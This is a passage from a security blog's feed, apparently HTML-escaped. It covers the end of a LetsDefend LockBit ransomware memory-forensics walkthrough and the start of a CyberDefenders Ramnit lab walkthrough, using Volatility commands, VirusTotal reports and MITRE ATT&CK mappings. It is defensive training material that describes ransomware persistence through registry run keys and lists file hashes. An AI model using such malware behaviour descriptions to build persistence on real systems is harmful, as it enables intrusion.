ID&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;T1543&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;) and not the sub-technique, let&amp;rsquo;s check our work and see if we found the correct answer&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/19a400b039208e0a3b4eda049f64f007_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Behaviors &amp;gt; MITRE ATT&amp;amp;CK Tactics and Techniques &amp;gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Create or Modify System Process (T1543)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/80b7b0923de91a950b7d846914156722_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-sha256-hash-of-the-ransom-note-dropped-by-themalware&#34;&gt;Question 6: What is the SHA256 hash of the ransom note dropped by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Next, scroll down to the &lt;strong&gt;&lt;em&gt;File system actions &amp;gt; Files Dropped&lt;/em&gt;&lt;/strong&gt; section to see the observed file activity. We&amp;rsquo;re looking for anything dropped by the malware that resembles a &lt;em&gt;ransom note&lt;/em&gt;. This will help identify the note&amp;rsquo;s name, which we can then search for in the memory dump using &lt;em&gt;Volatility2&lt;/em&gt;. You&amp;rsquo;ll quickly notice that there are dozens of instances of a &lt;em&gt;ransom note-y&lt;/em&gt; type files, &lt;em&gt;Restore-My-Files.txt.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;184px&#34; data-flex-grow=&#34;76&#34; height=&#34;799&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/674f0f57680bddb071812c52e51a373c_MD5.png&#34; width=&#34;615&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dropped Files Summary from VirusTotal&lt;/p&gt;&#xA;&lt;p&gt;In the same way that we handled &lt;strong&gt;Question 3&lt;/strong&gt;, let&amp;rsquo;s jump back into &lt;em&gt;Volatility2&lt;/em&gt; and use the &lt;code&gt;[filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan)&lt;/code&gt; plugin to search the file objects in the image for the &lt;em&gt;ransom note.&lt;/em&gt; Again, we&amp;rsquo;ll use grep to filter the results matching the name of the ransom note:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem &amp;ndash;profile=Win7SP1x64 filescan | grep -i &amp;ldquo;Restore&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1617px&#34; data-flex-grow=&#34;674&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/5d98217245ff91d0a579f059aa84ac51_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/5d98217245ff91d0a579f059aa84ac51_MD5_hu_d9b74c59e3039649.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/5d98217245ff91d0a579f059aa84ac51_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, we don&amp;rsquo;t find anything that matches the string. So, let&amp;rsquo;s pivot to the &lt;code&gt;[mftparser](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#mftparser)&lt;/code&gt; plugin to scan the &lt;em&gt;Master File Table (MFT)&lt;/em&gt; for the artifact:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem &amp;ndash;profile=Win7SP1x64 mftparser | grep &amp;ldquo;Restore&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;594px&#34; data-flex-grow=&#34;247&#34; height=&#34;323&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/a02f90410904bbe9b066900c531506bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this looks more promising and confirms the activity on the victim&amp;rsquo;s device, we have no way of extracting the files to calculate the &lt;em&gt;SHA256 hash&lt;/em&gt; that is needed to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;Returning to &lt;em&gt;VirusTotal;&lt;/em&gt; this becomes a process of elimination using the pre-existing analysis results. Starting at the top of the &lt;em&gt;dropped files&lt;/em&gt; list, expand the first entry, &amp;quot; # &amp;ldquo;Restore-My-Files.txt,&amp;ldquo;to reveal the available &lt;em&gt;SHA256 hashes.&lt;/em&gt; Let&amp;rsquo;s try each hash to see if any work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;500px&#34; data-flex-grow=&#34;208&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/fa84555d68acab028dd399cf06213c35_MD5.png&#34; width=&#34;773&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Luckily, the first &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;dropped&amp;rdquo;&#xA;ransom note in the list is the one we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/01bd3699c023372431d4475cb108997e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-name-of-the-registry-key-edited-by-the-ransomware-during-the-attack-to-apply-persistence-on-the-infectedsystem&#34;&gt;Question 7: What is the name of the registry key edited by the ransomware during the attack to apply persistence on the infected system?&#xA;&lt;/h3&gt;&lt;p&gt;Finally, let&amp;rsquo;s continue using the &lt;em&gt;VirusTotal&lt;/em&gt; report and analyze the persistence mechanisms used by the malware. Looking at the _MITRE ATT&amp;amp;CK Tactics and Techniques s_ection again, we&amp;rsquo;ll find several observed techniques listed, but only one referencing the &lt;em&gt;Windows Registry.&lt;/em&gt; This is a common persistence method where a threat actor might use a run key to execute an application when a user logs in (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK — T1547.001&lt;/em&gt;&lt;/a&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;790px&#34; data-flex-grow=&#34;329&#34; height=&#34;243&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/11688efb16ee3c7d481e6879d55ae6e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finding the relevant technique is a good start, but let&amp;rsquo;s see if &lt;em&gt;VirusTotal&lt;/em&gt; can provide any more information about the created &lt;em&gt;registry key.&lt;/em&gt; The next place to check is the &lt;strong&gt;Crowdsourced Sigma Rules&lt;/strong&gt; section**.** These &lt;em&gt;Sigma rules&lt;/em&gt; are open-source threat detection rules and can be extremely useful when applied to the &lt;em&gt;VirusTotal&lt;/em&gt; analysis. For example, let&amp;rsquo;s open the rule hit for &lt;em&gt;CurrentVersion Autorun Keys Modification:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1054px&#34; data-flex-grow=&#34;439&#34; height=&#34;273&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/cacb7d1351ca8405d16e00cc0f6da73c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/cacb7d1351ca8405d16e00cc0f6da73c_MD5_hu_80b594bf03bce7c.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/cacb7d1351ca8405d16e00cc0f6da73c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The matching rule contains a &lt;em&gt;TargetObject&lt;/em&gt; for the &lt;em&gt;Autorun key&lt;/em&gt; modification. At the very end, we can see the very suspicious key object name — this could be what we&amp;rsquo;re looking for. Let&amp;rsquo;s double-confirm by scrolling down &lt;strong&gt;&lt;em&gt;Registry Actions &amp;gt; Registry Keys Set&lt;/em&gt;&lt;/strong&gt; section and see if this key appears again:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;558px&#34; data-flex-grow=&#34;232&#34; height=&#34;344&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/e9cde142db9993440517b001ec1e5bb5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;ve seen this key referenced twice and the location matches a known adversary &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;technique&lt;/a&gt;, I think we&amp;rsquo;ve found our answer! Let&amp;rsquo;s submit the flag and wrap up our investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/88f9386411fb67ab99d016d0f2b9b9d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! With the help of &lt;em&gt;Volatility,&lt;/em&gt; we&amp;rsquo;ve successfully identified the malware process and found the file hash of the executable to determine its &lt;em&gt;ransomware&lt;/em&gt; family. After that, we turned to &lt;em&gt;VirusTotal&lt;/em&gt; to reveal more details about the malware including how it elevates privileges and stays persistent on the system. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/lockbit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LockBit Challenge&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another engaging and challenging lab scenario. This was a great learning opportunity because I hit a couple stumbling blocks particularly trying to uncover the &lt;em&gt;TLSH&lt;/em&gt; of the malware binary. I was really interested in this question since I was unfamiliar with what a &lt;em&gt;TLSH&lt;/em&gt; is and because the challenge didn&amp;rsquo;t specify any recommended tools, needing to pivot from &lt;em&gt;Volatility3&lt;/em&gt; to &lt;em&gt;Volatility2&lt;/em&gt; was an unexpected twist — I suspect this lab was designed with the older version in mind. But, this was a great example of the importance of staying flexible during an investigation — I&amp;rsquo;ve done a string of &lt;em&gt;Volatility&lt;/em&gt; labs recently so I had gotten into a routine using &lt;em&gt;Volatility3&lt;/em&gt; and didn&amp;rsquo;t even consider choosing &lt;em&gt;Volatility2&lt;/em&gt; until a couple of hours of being stuck on that question — newer doesn&amp;rsquo;t always mean better and it&amp;rsquo;s a good reminder to check my own confirmation biases.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;VirusTotal (.&lt;em&gt;img&lt;/em&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (&lt;em&gt;.dat&lt;/em&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Trend Micro&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/17/c/smart-whitelisting-using-locality-sensitive-hashing.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Smart Whitelisting Using Locality Sensitive Hashing | Trend Micro (US)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility GitHub Issues:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3/issues/160&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (&lt;em&gt;executable.900.exe&lt;/em&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Create or Modify System Process (T1543):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1543/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1547/001/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders — Ramnit Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/</link>
            <pubDate>Mon, 04 Nov 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/4f99eb59244c3367efb789a723428854_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders — Ramnit Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders-ramnit-blue-team-lab-walkthrough&#34;&gt;CyberDefenders— Ramnit Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-endpoint-forensic-investigation-with-volatility-3-and-virustotal&#34;&gt;An Endpoint Forensic Investigation with Volatility 3 and VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;407px&#34; data-flex-grow=&#34;169&#34; height=&#34;235&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/4f99eb59244c3367efb789a723428854_MD5.png&#34; width=&#34;399&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Imagine this scenario:&lt;/strong&gt; You&amp;rsquo;re a cybersecurity analyst, and suddenly, you receive an alert about suspicious process behavior from a user&amp;rsquo;s workstation. You&amp;rsquo;re handed a memory dump from the infected machine to investigate the incident, analyze the artifacts on the system, and discover the malware&amp;rsquo;s actions.&lt;/p&gt;&#xA;&lt;p&gt;If this sounds like something you&amp;rsquo;re into, welcome to my weekly walkthrough, you&amp;rsquo;ve stumbled on the right blog! This week, we&amp;rsquo;re jumping into the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ramnit Lab&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;ll dissect a memory dump of a device infected with malware performing suspicious operations on the victim&amp;rsquo;s system. Using &lt;strong&gt;&lt;em&gt;Volatility 3&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; we&amp;rsquo;ll locate the malicious process, uncover its file path on the system, and learn about any &lt;em&gt;IP addresses&lt;/em&gt; and &lt;em&gt;domains&lt;/em&gt; the malware contacts. The goal is to gather a list of &lt;em&gt;indicators of compromise&lt;/em&gt; (&lt;em&gt;IOCs&lt;/em&gt;) to understand the malware&amp;rsquo;s behavior and prevent any further impact on the environment. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;If you find this walkthrough is helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our intrusion detection system has alerted us to suspicious behavior on a workstation, pointing to a likely malware intrusion. A memory dump of this system has been taken for analysis. Your task is to analyze this dump, trace the malware&amp;rsquo;s actions, and report key findings. This analysis is critical in understanding the breach and preventing further compromise.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Tools:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Volatility 3&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;em&gt;CyberDefenders&lt;/em&gt; &lt;em&gt;(or any educational lab/challenge/range),&lt;/em&gt; it&amp;rsquo;s important to be responsible and stay safe by performing malware analysis tasks in a dedicated, isolated virtual machine environment. For this challenge I&amp;rsquo;m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I&amp;rsquo;m going to skip a step-by-step setup directions of &lt;em&gt;REMnux,&lt;/em&gt; but if you&amp;rsquo;d like to set up your own environment, please follow the guide provided by &lt;em&gt;REMnux&lt;/em&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;412px&#34; data-flex-grow=&#34;171&#34; height=&#34;378&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/32665cc83fd0f728cac148bd510da408_MD5.png&#34; width=&#34;649&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1we-need-to-identify-the-process-responsible-for-this-suspicious-behavior-what-is-the-name-of-the-suspicious-process&#34;&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; We need to identify the process responsible for this suspicious behavior. What is the name of the suspicious process?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation and start hunting for the suspicious process!&lt;/p&gt;&#xA;&lt;p&gt;But before we dive into using &lt;em&gt;Volatility&lt;/em&gt;, let&amp;rsquo;s quickly get familiar with the help documentation which is a handy way to see what plugins are available for use. We can bring up &lt;em&gt;Volatility&amp;rsquo;s&lt;/em&gt; manual pages with the following command:&lt;/p&gt;&#xA;&lt;p&gt;vol3 -h&lt;/p&gt;&#xA;&lt;p&gt;Now, our first task is to understand what processes were running on the victim&amp;rsquo;s system when the memory dump was taken during the incident. We&amp;rsquo;ll accomplish this by leveraging &lt;em&gt;Volatility&amp;rsquo;s&lt;/em&gt; &lt;code&gt;[windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist)&lt;/code&gt; plugin to scan the image and list the running processes on the system using the syntax below:&lt;/p&gt;&#xA;&lt;p&gt;vol3 -f memory.dmp windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;Analyzing the processes list, we need to identify the suspicious one. If the output seems overwhelming, don&amp;rsquo;t worry — it takes practice to sift through it. A great resource to understand normal &lt;em&gt;Windows&lt;/em&gt; behavior is the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/hunt-evil/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Hunt Evil&lt;/em&gt;&lt;/a&gt; poster from the &lt;em&gt;SANS Institute.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1129px&#34; data-flex-grow=&#34;470&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/e0f8d5091eca0c1f6a7d952e5492a01d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;At first glance, everything seems normal for virtualized &lt;em&gt;Windows&lt;/em&gt; system, doesn&amp;rsquo;t it? The exception is one process looks a little suspicious: a &lt;strong&gt;&lt;em&gt;ChromeSetup.exe&lt;/em&gt;&lt;/strong&gt; is running when the capture was taken. Since the &lt;em&gt;intrusion detection system&lt;/em&gt; (IDS) alerted on suspected malware execution, let&amp;rsquo;s start by investigating this process and make a note of the &lt;strong&gt;&lt;em&gt;process ID&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;(PID)&lt;/em&gt; too, we&amp;rsquo;ll need it for the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1207px&#34; data-flex-grow=&#34;503&#34; height=&#34;159&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-ramnit-blue-team-lab-walkthrough/d4079997d651e68cf777ca0c523f3f20_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-to-eradicate-the-malware-what-is-the-exact-file-path-of-the-process-executable&#34;&gt;Question 2: To eradicate the malware, what is the exact file path of the process executable?&#xA;&lt;/h3&gt;&lt;p&gt;Awesome! Now that we have uncovered the malicious executable, let&amp;rsquo;s find out more about it by determining its file path on the victim&amp;rsquo;s device.&lt;/p&gt;&#xA;&lt;p&gt;Back in &lt;em&gt;Volatility,&lt;/em&gt; we&amp;rsquo;ll use the 